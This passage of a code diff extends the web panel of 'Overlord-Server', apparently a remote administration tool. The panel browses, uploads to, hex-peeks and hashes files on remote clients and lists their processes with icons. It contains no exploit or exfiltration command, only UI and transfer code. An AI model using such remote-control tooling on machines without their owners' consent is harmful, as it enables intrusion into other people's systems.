+ `; + fileListPanel.appendChild(overlay); + dropOverlayEl = overlay; + return overlay; +} + function setDropTargetActive(active) { if (!fileListPanel) return; + const overlay = ensureDropOverlay(); + if (overlay) { + overlay.classList.toggle("hidden", !active); + if (active) { + const pathEl = overlay.querySelector(".drop-target-path"); + if (pathEl) { + pathEl.textContent = currentPath ? `into ${currentPath}` : ""; + } + } + } fileListPanel.classList.toggle("ring-2", active); fileListPanel.classList.toggle("ring-blue-500", active); fileListPanel.classList.toggle("ring-offset-2", active); fileListPanel.classList.toggle("ring-offset-slate-950", active); - fileListPanel.classList.toggle("bg-blue-500/5", active); } function setupDragAndDropUpload() { if (!fileListPanel) return; + ensureDropOverlay(); fileListPanel.addEventListener("dragenter", (e) => { if (!hasFileDrag(e)) return; @@ -2429,20 +2589,28 @@ async function uploadFileViaHttpPull(file, path, transfer) { console.debug("[filebrowser] upload staged", { pullUrl: uploadData.pullUrl, size: uploadData.size, + agentNotified: !!uploadData.agentNotified, }); - const commandId = `upload-http-${Date.now()}-${Math.random()}`; - const waitResult = waitForCommandResult(commandId, 12 * 60 * 1000); - send({ - type: "command", - commandType: "file_upload_http", - id: commandId, - payload: { - path, - url: uploadData.pullUrl, - total: file.size, - }, - }); + let commandId; + let waitResult; + if (uploadData.agentNotified && typeof uploadData.agentCommandId === "string") { + commandId = uploadData.agentCommandId; + waitResult = waitForCommandResult(commandId, 12 * 60 * 1000); + } else { + commandId = `upload-http-${Date.now()}-${Math.random()}`; + waitResult = waitForCommandResult(commandId, 12 * 60 * 1000); + send({ + type: "command", + commandType: "file_upload_http", + id: commandId, + payload: { + path, + url: uploadData.pullUrl, + total: file.size, + }, + }); + } await waitResult; @@ -2459,6 +2627,80 @@ async function uploadFileViaHttpPull(file, path, transfer) { transfer.uploadXhr = null; } +const WS_UPLOAD_MAX_TOTAL = 8 * 1024 * 1024; +const WS_UPLOAD_CHUNK_SIZE = 512 * 1024; +const WS_UPLOAD_CONCURRENCY = 4; +const WS_UPLOAD_ACK_TIMEOUT_MS = 90 * 1000; + +async function uploadFileViaWsChunks(file, path, transfer) { + const total = file.size; + transfer.total = total; + + const pumpChunk = (offset, data) => { + const ackPromise = new Promise((resolve, reject) => { + const timeoutId = setTimeout(() => { + transfer.pendingAcks.delete(offset); + reject(new Error(`upload chunk timeout (offset ${offset})`)); + }, WS_UPLOAD_ACK_TIMEOUT_MS); + transfer.pendingAcks.set(offset, { resolve, reject, timeoutId }); + }); + send({ + type: "file_upload", + path, + data, + offset, + total, + transferId: transfer.transferId, + }); + transfer.sent = Math.min((transfer.sent || 0) + data.length, total); + if (total > 0) { + transfer.progress = Math.round((transfer.sent / total) * 100); + updateTransferProgress(transfer.id, transfer.progress, transfer.sent, total); + } + return ackPromise; + }; + + if (total === 0) { + transfer.expectedChunks = 1; + await pumpChunk(0, new Uint8Array(0)); + transfer.completed = true; + transfer.progress = 100; + updateTransferProgress(transfer.id, 100, 0, 0); + return; + } + + const expectedChunks = Math.ceil(total / WS_UPLOAD_CHUNK_SIZE); + transfer.expectedChunks = expectedChunks; + + const inFlight = new Map(); + let nextOffset = 0; + + try { + while (nextOffset < total || inFlight.size > 0) { + while (inFlight.size < WS_UPLOAD_CONCURRENCY && nextOffset < total) { + if (transfer.cancelled) throw new Error("Upload cancelled"); + const start = nextOffset; + const end = Math.min(start + WS_UPLOAD_CHUNK_SIZE, total); + const buf = new Uint8Array(await file.slice(start, end).arrayBuffer()); + nextOffset = end; + const tracked = pumpChunk(start, buf).then(() => inFlight.delete(start)); + inFlight.set(start, tracked); + } + if (inFlight.size > 0) { + await Promise.race(inFlight.values()); + } + } + transfer.completed = true; + } catch (err) { + transfer.pendingAcks.forEach((pending) => { + clearTimeout(pending.timeoutId); + try { pending.reject(err); } catch {} + }); + transfer.pendingAcks.clear(); + throw err; + } +} + async function uploadFile(file) { const path = currentPath ? `${currentPath}/${file.name}` : file.name; const transferId = `upload-${Date.now()}-${Math.random()}`; @@ -2490,8 +2732,14 @@ async function uploadFile(file) { activeTransfers.set(transferId, transfer); addTransferToUI(transfer); + const useWs = file.size <= WS_UPLOAD_MAX_TOTAL; + try { - await uploadFileViaHttpPull(file, path, transfer); + if (useWs) { + await uploadFileViaWsChunks(file, path, transfer); + } else { + await uploadFileViaHttpPull(file, path, transfer); + } finishUpload(transfer); } catch (err) { console.error("Upload error:", err); @@ -2548,6 +2796,448 @@ setupDragAndDropUpload(); updateStatus("connecting", "Connecting..."); updateBackButton(); +// ── Pinned paths (operator-scoped, localStorage) ──────────────────────────── +const PINNED_STORAGE_KEY = "filebrowser.pinnedPaths.v1"; +const sidebarPinned = document.getElementById("sidebar-pinned"); +const sidebarPinCurrentBtn = document.getElementById("sidebar-pin-current-btn"); + +function loadPinnedPaths() { + try { + const raw = localStorage.getItem(PINNED_STORAGE_KEY); + if (!raw) return []; + const parsed = JSON.parse(raw); + if (!Array.isArray(parsed)) return []; + return parsed.filter((p) => p && typeof p.path === "string"); + } catch { + return []; + } +} + +function savePinnedPaths(list) { + try { + localStorage.setItem(PINNED_STORAGE_KEY, JSON.stringify(list)); + } catch (err) { + console.warn("Failed to persist pinned paths:", err); + } +} + +function isPinned(path) { + return loadPinnedPaths().some((p) => p.path === path); +} + +function pinPath(path, name) { + if (!path) return; + const list = loadPinnedPaths(); + if (list.some((p) => p.path === path)) return; + const fallback = path.split(/[\/\\]/).filter(Boolean).pop() || path; + list.push({ path, name: name || fallback, addedAt: Date.now() }); + savePinnedPaths(list); + updatePinnedSidebar(); +} + +function unpinPath(path) { + if (!path) return; + const list = loadPinnedPaths().filter((p) => p.path !== path); + savePinnedPaths(list); + updatePinnedSidebar(); +} + +function updatePinnedSidebar() { + if (!sidebarPinned) return; + const list = loadPinnedPaths(); + if (list.length === 0) { + sidebarPinned.innerHTML = + '
No pinned paths.
Right-click any folder.
'; + return; + } + let html = ""; + list.forEach((p) => { + const active = currentPath && (currentPath === p.path || currentPath.startsWith(p.path + "/") || currentPath.startsWith(p.path + "\\")); + html += ` + `; + }); + sidebarPinned.innerHTML = html; + sidebarPinned.querySelectorAll(".sidebar-item").forEach((row) => { + row.addEventListener("click", (e) => { + if (e.target.closest(".pin-remove-btn")) return; + listFiles(row.dataset.path); + }); + }); + sidebarPinned.querySelectorAll(".pin-remove-btn").forEach((btn) => { + btn.addEventListener("click", (e) => { + e.stopPropagation(); + unpinPath(btn.dataset.path); + }); + }); +} + +if (sidebarPinCurrentBtn) { + sidebarPinCurrentBtn.addEventListener("click", () => { + if (!currentPath || currentPath === ".") { + notifyToast("Navigate into a folder first", "info", 2500); + return; + } + if (isPinned(currentPath)) { + unpinPath(currentPath); + notifyToast("Unpinned", "info", 1800); + } else { + pinPath(currentPath); + notifyToast("Pinned", "success", 1800); + } + }); +} + +// ── Preview pane ──────────────────────────────────────────────────────────── +const PREVIEW_PANE_STATE_KEY = "filebrowser.previewPaneVisible.v1"; +const previewPaneHost = document.getElementById("preview-pane-host"); +const previewPaneEl = document.getElementById("preview-pane"); +const previewPaneToggle = document.getElementById("preview-pane-toggle"); +const previewPaneShowBtnHost = document.getElementById("preview-pane-show-btn-host"); +const previewPaneShowBtn = document.getElementById("preview-pane-show-btn"); +const previewActiveEl = document.getElementById("preview-active"); +const previewEmptyEl = previewPaneEl?.querySelector(".preview-empty"); +const previewThumbBox = document.getElementById("preview-thumb-box"); +const previewNameEl = document.getElementById("preview-name"); +const previewPathEl = document.getElementById("preview-path"); +const previewMetaList = document.getElementById("preview-meta-list"); +const previewTextHeadHost = document.getElementById("preview-text-head-host"); +const previewTextHead = document.getElementById("preview-text-head"); +const previewHexBtn = document.getElementById("preview-hex-btn"); +const previewHashBtn = document.getElementById("preview-hash-btn"); +const previewHashResult = document.getElementById("preview-hash-result"); +const previewHashValue = document.getElementById("preview-hash-value"); +const previewHashKnown = document.getElementById("preview-hash-known"); + +let currentPreviewEntry = null; +let lastPeekCommandId = null; +let lastHashCommandId = null; + +function setPreviewPaneVisible(visible) { + if (!previewPaneHost) return; + if (visible) { + previewPaneHost.classList.remove("hidden"); + previewPaneShowBtnHost?.classList.add("hidden"); + } else { + previewPaneHost.classList.add("hidden"); + previewPaneShowBtnHost?.classList.remove("hidden"); + } + try { localStorage.setItem(PREVIEW_PANE_STATE_KEY, visible ? "1" : "0"); } catch {} +} + +previewPaneToggle?.addEventListener("click", () => setPreviewPaneVisible(false)); +previewPaneShowBtn?.addEventListener("click", () => setPreviewPaneVisible(true)); +(function initPreviewPaneVisibility() { + let saved = "1"; + try { saved = localStorage.getItem(PREVIEW_PANE_STATE_KEY) || "1"; } catch {} + setPreviewPaneVisible(saved !== "0"); +})(); + +function clearPreviewPane() { + currentPreviewEntry = null; + if (!previewPaneEl) return; + previewPaneEl.classList.add("empty"); + previewActiveEl?.classList.add("hidden"); + if (previewThumbBox) previewThumbBox.innerHTML = ""; + if (previewMetaList) previewMetaList.innerHTML = ""; + if (previewTextHead) previewTextHead.textContent = ""; + previewTextHeadHost?.classList.add("hidden"); + previewHashResult?.classList.add("hidden"); +} + +function renderPreviewMeta(entry) { + if (!previewMetaList) return ""; + const ext = getFileExt(entry.name); + const fields = []; + fields.push(["Type", entry.isDir ? "Folder" : (ext ? ext.toUpperCase() : "File")]); + if (!entry.isDir) fields.push(["Size", formatBytes(entry.size)]); + fields.push(["Modified", new Date(entry.modTime * 1000).toLocaleString()]); + if (entry.mode) fields.push(["Mode", entry.mode]); + if (entry.owner) fields.push(["Owner", entry.owner]); + previewMetaList.innerHTML = fields.map(([k, v]) => + `
${escapeHtml(k)}
${escapeHtml(String(v))}
` + ).join(""); +} + +function showPreviewForEntry(entry) { + if (!entry || !previewPaneEl || previewPaneHost?.classList.contains("hidden")) return; + currentPreviewEntry = entry; + previewPaneEl.classList.remove("empty"); + previewActiveEl?.classList.remove("hidden"); + if (previewNameEl) previewNameEl.textContent = entry.name || ""; + if (previewPathEl) previewPathEl.textContent = entry.path || ""; + renderPreviewMeta(entry); + + // Thumbnail / icon + if (previewThumbBox) { + previewThumbBox.innerHTML = ""; + const tKey = thumbCacheKey(entry); + const cached = tKey ? thumbCache.get(tKey) : null; + if (cached && cached.blobUrl) { + const img = document.createElement("img"); + img.src = cached.blobUrl; + previewThumbBox.appendChild(img); + } else { + const iconKey = iconCacheKey(entry); + const iconEntry = iconKey ? iconCache.get(iconKey) : null; + if (iconEntry && iconEntry.blobUrl) { + const img = document.createElement("img"); + img.src = iconEntry.blobUrl; + img.style.width = "64px"; + img.style.height = "64px"; + previewThumbBox.appendChild(img); + } else { + previewThumbBox.innerHTML = `
${getFileIcon(entry)}
`; + } + if (tKey) requestThumbFor(entry); + } + } + + // Text head — only for likely-text files under 4KB peek window + previewTextHeadHost?.classList.add("hidden"); + if (previewTextHead) previewTextHead.textContent = ""; + if (!entry.isDir) { + const ext = getFileExt(entry.name); + if (!KNOWN_BINARY_EXTS.has(ext) && !PREVIEW_IMAGE_EXTS.has(ext) && !PREVIEW_PDF_EXTS.has(ext)) { + requestFilePeek(entry.path, "preview"); + } + } + + previewHashResult?.classList.add("hidden"); + if (previewHashValue) previewHashValue.textContent = ""; + if (previewHashKnown) { + previewHashKnown.classList.add("hidden"); + previewHashKnown.textContent = ""; + } +} + +// ── file_peek (hex viewer + text head) ────────────────────────────────────── +const hexViewerModal = document.getElementById("hex-viewer-modal"); +const hexViewerFile = document.getElementById("hex-viewer-file"); +const hexViewerBody = document.getElementById("hex-viewer-body"); +const hexViewerInfo = document.getElementById("hex-viewer-info"); +const hexViewerCloseBtn = document.getElementById("hex-viewer-close-btn"); +const hexViewerCopyBtn = document.getElementById("hex-viewer-copy-btn"); + +// commandId -> { kind: 'preview'|'hex', path, fileName } +const peekRequests = new Map(); +let lastHexBytes = null; +let lastHexFileName = ""; + +function requestFilePeek(path, kind) { + const commandId = `peek-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const fileName = path.split(/[\/\\]/).pop() || ""; + peekRequests.set(commandId, { kind, path, fileName }); + lastPeekCommandId = commandId; + send({ + type: "command", + commandType: "file_peek", + id: commandId, + payload: { path, bytes: 4096 }, + }); +} + +function openHexViewer(path) { + if (!hexViewerModal) return; + const fileName = path.split(/[\/\\]/).pop() || ""; + if (hexViewerFile) hexViewerFile.textContent = fileName; + if (hexViewerBody) hexViewerBody.innerHTML = '
Loading...
'; + if (hexViewerInfo) hexViewerInfo.textContent = ""; + hexViewerModal.classList.add("show"); + requestFilePeek(path, "hex"); +} + +function closeHexViewer() { + hexViewerModal?.classList.remove("show"); +} + +function decodeTextHead(bytes) { + // Try UTF-8 first; fall back to latin1. + try { + return new TextDecoder("utf-8", { fatal: false }).decode(bytes); + } catch { + return new TextDecoder("latin1").decode(bytes); + } +} + +function renderHexDump(bytes, totalSize) { + if (!hexViewerBody) return; + const len = bytes.length; + const rows = []; + for (let off = 0; off < len; off += 16) { + const chunk = bytes.slice(off, Math.min(off + 16, len)); + const hexParts = []; + const asciiParts = []; + for (let i = 0; i < 16; i++) { + if (i < chunk.length) { + hexParts.push(chunk[i].toString(16).padStart(2, "0")); + const b = chunk[i]; + if (b >= 0x20 && b <= 0x7e) { + asciiParts.push(`${escapeHtml(String.fromCharCode(b))}`); + } else { + asciiParts.push('.'); + } + } else { + hexParts.push(" "); + asciiParts.push(" "); + } + if (i === 7) hexParts.push(""); + } + rows.push( + `
` + + `${off.toString(16).padStart(8, "0")}` + + `${hexParts.join(" ")}` + + `${asciiParts.join("")}` + + `
` + ); + } + hexViewerBody.innerHTML = rows.join(""); + if (hexViewerInfo) { + const peekStr = `${formatBytes(len)} peek`; + const totalStr = totalSize > 0 ? ` of ${formatBytes(totalSize)}` : ""; + hexViewerInfo.textContent = peekStr + totalStr; + } + lastHexBytes = bytes; +} + +function handleFilePeekResult(msg) { + const req = msg.commandId ? peekRequests.get(msg.commandId) : null; + if (!req) return; + peekRequests.delete(msg.commandId); + + if (msg.error) { + if (req.kind === "hex") { + if (hexViewerBody) hexViewerBody.innerHTML = `
${escapeHtml(msg.error)}
`; + } + if (req.kind === "preview" && currentPreviewEntry && currentPreviewEntry.path === req.path) { + previewTextHeadHost?.classList.add("hidden"); + } + return; + } + + let data = msg.data; + if (!data) data = new Uint8Array(0); + if (!(data instanceof Uint8Array)) { + try { data = new Uint8Array(data); } catch { data = new Uint8Array(0); } + } + + if (req.kind === "hex") { + lastHexFileName = req.fileName; + renderHexDump(data, Number(msg.size || 0)); + return; + } + + // preview kind + if (!currentPreviewEntry || currentPreviewEntry.path !== req.path) return; + if (!msg.isText || data.length === 0) { + previewTextHeadHost?.classList.add("hidden"); + return; + } + const text = decodeTextHead(data); + if (previewTextHead) previewTextHead.textContent = text; + previewTextHeadHost?.classList.remove("hidden"); +} + +hexViewerCloseBtn?.addEventListener("click", closeHexViewer); +hexViewerModal?.addEventListener("click", (e) => { + if (e.target === hexViewerModal) closeHexViewer(); +}); +document.addEventListener("keydown", (e) => { + if (e.key === "Escape" && hexViewerModal?.classList.contains("show")) { + closeHexViewer(); + } +}); +hexViewerCopyBtn?.addEventListener("click", async () => { + if (!lastHexBytes) return; + const hex = Array.from(lastHexBytes).map((b) => b.toString(16).padStart(2, "0")).join(""); + try { + await navigator.clipboard.writeText(hex); + notifyToast("Hex copied to clipboard", "success", 2000); + } catch { + notifyToast("Clipboard copy failed", "error", 2500); + } +}); + +// ── file_hash + tiny known catalog ────────────────────────────────────────── +// SHA-256 hex digests for a few well-known files (operator tip). Lowercase. +const KNOWN_HASHES_SHA256 = { + // empty file + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855": "Empty file (0 bytes)", + // example placeholders — populate over time +}; + +// commandId -> { path, fileName, source: 'preview'|'context' } +const hashRequests = new Map(); + +function requestFileHash(path, source) { + const commandId = `hash-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const fileName = path.split(/[\/\\]/).pop() || ""; + hashRequests.set(commandId, { path, fileName, source }); + lastHashCommandId = commandId; + send({ + type: "command", + commandType: "file_hash", + id: commandId, + payload: { path, algorithm: "sha256" }, + }); + notifyToast(`Hashing ${fileName}…`, "info", 2500); +} + +function handleFileHashResult(msg) { + const req = msg.commandId ? hashRequests.get(msg.commandId) : null; + if (!req) return; + hashRequests.delete(msg.commandId); + + if (msg.error) { + notifyToast(`Hash failed: ${msg.error}`, "error", 5000); + return; + } + const digest = (msg.digest || "").toLowerCase(); + const known = KNOWN_HASHES_SHA256[digest]; + + // Update preview pane if it's showing this file + if (currentPreviewEntry && currentPreviewEntry.path === req.path && previewHashValue) { + previewHashValue.textContent = digest; + previewHashResult?.classList.remove("hidden"); + if (previewHashKnown) { + if (known) { + previewHashKnown.textContent = `Known: ${known}`; + previewHashKnown.classList.remove("hidden"); + } else { + previewHashKnown.classList.add("hidden"); + } + } + } + + const msgSuffix = known ? ` — matches known: ${known}` : ""; + notifyToast(`SHA-256: ${digest.slice(0, 16)}…${msgSuffix}`, "success", 6000); + navigator.clipboard?.writeText(digest).catch(() => {}); +} + +previewHexBtn?.addEventListener("click", () => { + if (currentPreviewEntry && !currentPreviewEntry.isDir) { + openHexViewer(currentPreviewEntry.path); + } +}); +previewHashBtn?.addEventListener("click", () => { + if (currentPreviewEntry && !currentPreviewEntry.isDir) { + requestFileHash(currentPreviewEntry.path, "preview"); + } +}); +previewHashValue?.addEventListener("click", async () => { + const v = previewHashValue.textContent || ""; + if (!v) return; + try { + await navigator.clipboard.writeText(v); + notifyToast("SHA-256 copied", "success", 1500); + } catch {} +}); + // ── Sidebar Quick Access ── let detectedHomePath = ""; let detectedOS = ""; @@ -2631,6 +3321,36 @@ function updateSidebar() { bindSidebarClicks(sidebarContent); } +function driveItemHtml(e) { + const label = e.name.match(/^[A-Za-z]:$/) ? e.name + "\\" : (e.name || e.path); + const path = e.name.match(/^[A-Za-z]:$/) ? e.name + "\\" : e.path; + const total = Number(e.totalBytes || 0); + const free = Number(e.freeBytes || 0); + let usageHtml = ""; + let titleAttr = ""; + if (total > 0) { + const used = Math.max(0, total - free); + const pct = Math.min(100, Math.round((used / total) * 100)); + const cls = pct >= 90 ? "crit" : pct >= 75 ? "warn" : ""; + usageHtml = ` +
+
+ ${formatBytes(free)} free + ${formatBytes(total)} +
`; + titleAttr = ` title="${escapeHtml(e.fsType || "")}${e.fsType ? " · " : ""}${formatBytes(free)} free of ${formatBytes(total)}"`; + } + return ` + `; +} + function updateSidebarDrives(entries) { if (!sidebarDrives) return; if (!entries || entries.length === 0) { @@ -2645,7 +3365,7 @@ function updateSidebarDrives(entries) { let html = ""; entries.forEach((e) => { if (e.isDir && e.name.match(/^[A-Za-z]:$/)) { - html += sidebarItem("fa-hard-drive", e.name + "\\", e.name + "\\", "text-slate-300"); + html += driveItemHtml(e); } }); if (!html) { @@ -2669,6 +3389,7 @@ function highlightSidebarActive() { }); } +updatePinnedSidebar(); checkFeatureAccess("file_browser", clientId).then(ok => ok && connect()); function addTransferToUI(transfer) { diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js index fc188f8..9a573ec 100644 --- a/Overlord-Server/public/assets/processes.js +++ b/Overlord-Server/public/assets/processes.js @@ -13,6 +13,12 @@ let sortField = "cpu"; let sortDirection = "desc"; let searchTerm = ""; +const procIconCache = new Map(); +const procIconQueue = []; +let procIconFlushScheduled = false; +const PROC_ICON_BATCH_SIZE = 32; +const PROC_ICON_BATCH_DELAY_MS = 60; + const statusEl = document.getElementById("status-indicator"); const processCountEl = document.getElementById("process-count"); const processListEl = document.getElementById("process-list"); @@ -107,6 +113,9 @@ function handleMessage(msg) { case "process_list_result": handleProcessList(msg); break; + case "process_icon_result": + handleProcessIconResult(msg); + break; case "command_result": handleCommandResult(msg); break; @@ -148,6 +157,7 @@ function handleProcessList(msg) { updateStatus("connected", "Connected"); buildProcessTree(); renderProcesses(); + requestProcessIcons(processes); } function buildProcessTree() { @@ -314,22 +324,31 @@ function rowInnerHtml(proc, depth) { } let nameColor = "text-slate-200"; - let iconClass = "fa-microchip"; - let iconColor = "text-blue-400"; + let fallbackIcon = "fa-microchip"; + let fallbackColor = "text-blue-400"; if (proc.type === "system") { nameColor = "text-purple-400"; - iconColor = "text-purple-400"; + fallbackColor = "text-purple-400"; } else if (proc.type === "service") { nameColor = "text-cyan-400"; - iconColor = "text-cyan-400"; + fallbackColor = "text-cyan-400"; } else if (proc.type === "own") { nameColor = "text-green-300"; - iconColor = "text-green-400"; + fallbackColor = "text-green-400"; } if (proc.self) { nameColor = "text-yellow-300 font-semibold"; - iconClass = "fa-crosshairs"; - iconColor = "text-yellow-400"; + fallbackIcon = "fa-crosshairs"; + fallbackColor = "text-yellow-400"; + } + + const iconKey = procIconKey(proc); + const cached = iconKey ? procIconCache.get(iconKey) : null; + let procIcon; + if (cached && cached.blobUrl) { + procIcon = ``; + } else { + procIcon = ``; } const selfBadge = proc.self @@ -339,7 +358,7 @@ function rowInnerHtml(proc, depth) { return `
${proc.pid}
- ${indent}${treeIcon} + ${indent}${treeIcon}${procIcon} ${escapeHtml(proc.name)}${selfBadge}
${displayCpu.toFixed(1)}%
@@ -615,6 +634,61 @@ setInterval(() => { } }, 3000); +function procIconKey(proc) { + if (!proc.exePath) return null; + return proc.exePath.toLowerCase(); +} + +function requestProcessIcons(procs) { + for (const proc of procs) { + const key = procIconKey(proc); + if (!key) continue; + if (procIconCache.has(key)) continue; + procIconCache.set(key, { pending: true }); + procIconQueue.push({ key, path: proc.exePath }); + } + if (procIconQueue.length > 0) scheduleProcIconFlush(); +} + +function scheduleProcIconFlush() { + if (procIconFlushScheduled) return; + procIconFlushScheduled = true; + setTimeout(flushProcIconQueue, PROC_ICON_BATCH_DELAY_MS); +} + +function flushProcIconQueue() { + procIconFlushScheduled = false; + if (procIconQueue.length === 0) return; + const batch = procIconQueue.splice(0, PROC_ICON_BATCH_SIZE); + send({ type: "process_icon", items: batch }); + if (procIconQueue.length > 0) scheduleProcIconFlush(); +} + +function handleProcessIconResult(msg) { + const items = Array.isArray(msg.icons) ? msg.icons : []; + for (const item of items) { + if (!item || !item.key) continue; + const entry = procIconCache.get(item.key) || {}; + entry.pending = false; + if (item.png && item.png.length > 0) { + const blob = new Blob([item.png], { type: "image/png" }); + entry.blobUrl = URL.createObjectURL(blob); + } else { + entry.failed = true; + } + procIconCache.set(item.key, entry); + applyProcIconToDom(item.key, entry); + } +} + +function applyProcIconToDom(key, entry) { + if (!entry || !entry.blobUrl) return; + const escaped = (typeof CSS !== "undefined" && CSS.escape) ? CSS.escape(key) : key.replace(/"/g, '\\"'); + document.querySelectorAll(`[data-proc-icon-key="${escaped}"]`).forEach((el) => { + el.innerHTML = ``; + }); +} + updateStatus("connecting", "Connecting..."); checkFeatureAccess("processes", clientId).then(ok => ok && connect()); updateSortIndicators(); diff --git a/Overlord-Server/public/assets/thumbnail-loader.js b/Overlord-Server/public/assets/thumbnail-loader.js index ca3d78a..367adfd 100644 --- a/Overlord-Server/public/assets/thumbnail-loader.js +++ b/Overlord-Server/public/assets/thumbnail-loader.js @@ -52,11 +52,14 @@ function buildThumbnailUrl(clientId, version) { export function applyImageSrcSmooth(img, url) { if (!img || !url) return; if (img.dataset.thumbUrl === url) return; + img.dataset.thumbUrl = url; + const gen = (img._thumbGen = ((img._thumbGen || 0) + 1)); const newImg = img.cloneNode(false); newImg.dataset.thumbUrl = url; newImg.style.display = "block"; const swap = () => { - if (img.parentNode && img.dataset.thumbUrl !== url) img.replaceWith(newImg); + if (img._thumbGen !== gen) return; + if (img.parentNode) img.replaceWith(newImg); }; newImg.addEventListener("error", () => {}, { once: true }); newImg.src = url; @@ -103,7 +106,7 @@ export class ThumbnailLoader { if (!element || !clientId) return; const prior = this.records.get(element); if (prior && prior.clientId === clientId) { - prior.version = initialVersion || prior.version; + prior.version = Math.max(initialVersion, prior.version); this.applyVersion(element, prior); return; } @@ -164,8 +167,7 @@ export class ThumbnailLoader { if (!element || !rec) return; const img = element.querySelector("img[data-thumb-img]"); if (!img) return; - const url = buildThumbnailUrl(rec.clientId, rec.version); - applyImageSrcSmooth(img, url); + applyImageSrcSmooth(img, buildThumbnailUrl(rec.clientId, rec.version)); } handleIntersection(entries) { diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html index 7577151..1867686 100644 --- a/Overlord-Server/public/filebrowser.html +++ b/Overlord-Server/public/filebrowser.html @@ -322,7 +322,133 @@ } @media (max-width: 1023px) { #sidebar { display: none !important; } + #preview-pane-host { display: none !important; } } + + /* Pin star button next to filename */ + .pin-star-btn { + opacity: 0; + transition: opacity 0.15s ease, color 0.15s ease; + background: transparent; + border: 0; + padding: 2px 4px; + color: rgb(100 116 139); + cursor: pointer; + } + .file-item:hover .pin-star-btn { opacity: 0.7; } + .pin-star-btn:hover { color: #facc15; opacity: 1 !important; } + .pin-star-btn.pinned { color: #facc15; opacity: 1 !important; } + + /* Drive bar */ + .drive-usage-bar { + height: 3px; + background-color: rgba(51, 65, 85, 0.6); + border-radius: 2px; + overflow: hidden; + margin-top: 2px; + } + .drive-usage-fill { + height: 100%; + background: linear-gradient(90deg, #3b82f6, #6366f1); + border-radius: 2px; + transition: width 0.3s ease; + } + .drive-usage-fill.warn { background: linear-gradient(90deg, #f59e0b, #ef4444); } + .drive-usage-fill.crit { background: linear-gradient(90deg, #ef4444, #dc2626); } + + /* Preview pane */ + #preview-pane-host { + width: 320px; + flex-shrink: 0; + align-self: flex-start; + position: sticky; + top: 5rem; + max-height: calc(100vh - 6rem); + overflow-y: auto; + } + #preview-pane { + /* host handles sticky + scroll; inner stays in normal flow */ + } + /* Custom scrollbar for sidebar columns */ + .sidebar-scroll::-webkit-scrollbar, + #preview-pane-host::-webkit-scrollbar { width: 8px; } + .sidebar-scroll::-webkit-scrollbar-track, + #preview-pane-host::-webkit-scrollbar-track { background: transparent; } + .sidebar-scroll::-webkit-scrollbar-thumb, + #preview-pane-host::-webkit-scrollbar-thumb { background: rgba(71,85,105,0.6); border-radius: 4px; } + .sidebar-scroll::-webkit-scrollbar-thumb:hover, + #preview-pane-host::-webkit-scrollbar-thumb:hover { background: rgba(100,116,139,0.8); } + #preview-pane.empty .preview-empty { display: flex; } + #preview-pane .preview-empty { display: none; } + #preview-thumb-box img { + max-width: 100%; + max-height: 200px; + display: block; + margin: 0 auto; + border-radius: 0.25rem; + background: #0f172a; + } + #preview-text-head { + font-family: "Courier New", monospace; + font-size: 11px; + line-height: 1.4; + white-space: pre-wrap; + word-break: break-all; + color: #cbd5e1; + background: #0f172a; + border-radius: 0.25rem; + padding: 0.5rem; + max-height: 240px; + overflow: auto; + } + #preview-meta-list { font-size: 11px; } + #preview-meta-list dt { color: rgb(100 116 139); text-transform: uppercase; letter-spacing: 0.04em; font-size: 10px; } + #preview-meta-list dd { color: #e2e8f0; word-break: break-all; margin-bottom: 0.5rem; } + #preview-hash-value { + font-family: "Courier New", monospace; + font-size: 10px; + word-break: break-all; + color: #93c5fd; + } + + /* Hex viewer modal */ + .hex-viewer-modal { + position: fixed; + inset: 0; + background-color: rgba(0, 0, 0, 0.85); + display: none; + align-items: center; + justify-content: center; + z-index: 2200; + } + .hex-viewer-modal.show { display: flex; } + .hex-viewer-content { + background-color: #0f172a; + border: 1px solid #334155; + border-radius: 0.75rem; + width: 92%; + max-width: 900px; + max-height: 88vh; + display: flex; + flex-direction: column; + box-shadow: 0 25px 50px -12px rgb(0 0 0 / 0.6); + } + #hex-viewer-body { + flex: 1; + min-height: 0; + overflow: auto; + padding: 0.75rem 1rem; + font-family: "Courier New", monospace; + font-size: 12px; + line-height: 1.45; + color: #cbd5e1; + background: #0b1220; + } + #hex-viewer-body .hex-row { display: flex; gap: 1.5rem; white-space: pre; } + #hex-viewer-body .hex-off { color: rgb(100 116 139); min-width: 80px; } + #hex-viewer-body .hex-bytes { color: #93c5fd; } + #hex-viewer-body .hex-ascii { color: #fde68a; } + #hex-viewer-body .hex-ascii .np { color: rgb(71 85 105); } @@ -334,7 +460,26 @@
+
+ Pin to sidebar +
+
+ Unpin +
+
+ Hex peek (4 KB) +
+
+ SHA-256 +
+
Delete
+ +
+
+
+
+ + -- +
+
+ + + +
+
+
+
+
+
@@ -768,6 +1002,6 @@ - + diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 426c20a..f569529 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -221,7 +221,7 @@ function parseMaxHttpBodyBytes(): number { } logger.warn(`[HTTP] Invalid OVERLORD_MAX_HTTP_BODY_BYTES=${raw}; using default`); } - return 100 * 1024 * 1024; + return 1024 * 1024 * 1024; } const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes(); diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 39171ab..574ecbb 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -269,6 +269,7 @@ export type ProcessInfo = { pid: number; ppid: number; name: string; + exePath?: string; cpu: number; memory: number; username?: string; diff --git a/Overlord-Server/src/server/http-download-consumer.ts b/Overlord-Server/src/server/http-download-consumer.ts index f015afc..745c74e 100644 --- a/Overlord-Server/src/server/http-download-consumer.ts +++ b/Overlord-Server/src/server/http-download-consumer.ts @@ -2,6 +2,8 @@ import fs from "fs/promises"; import type { FileHandle } from "fs/promises"; import { logger } from "../logger"; +export const STREAM_REORDER_BUFFER_LIMIT = 16; + export type PendingHttpDownload = { commandId: string; clientId: string; @@ -20,8 +22,78 @@ export type PendingHttpDownload = { resolve: (entry: PendingHttpDownload) => void; reject: (error: Error) => void; timeout: ReturnType; + streamController?: ReadableStreamDefaultController; + reorderBuffer?: Map; + 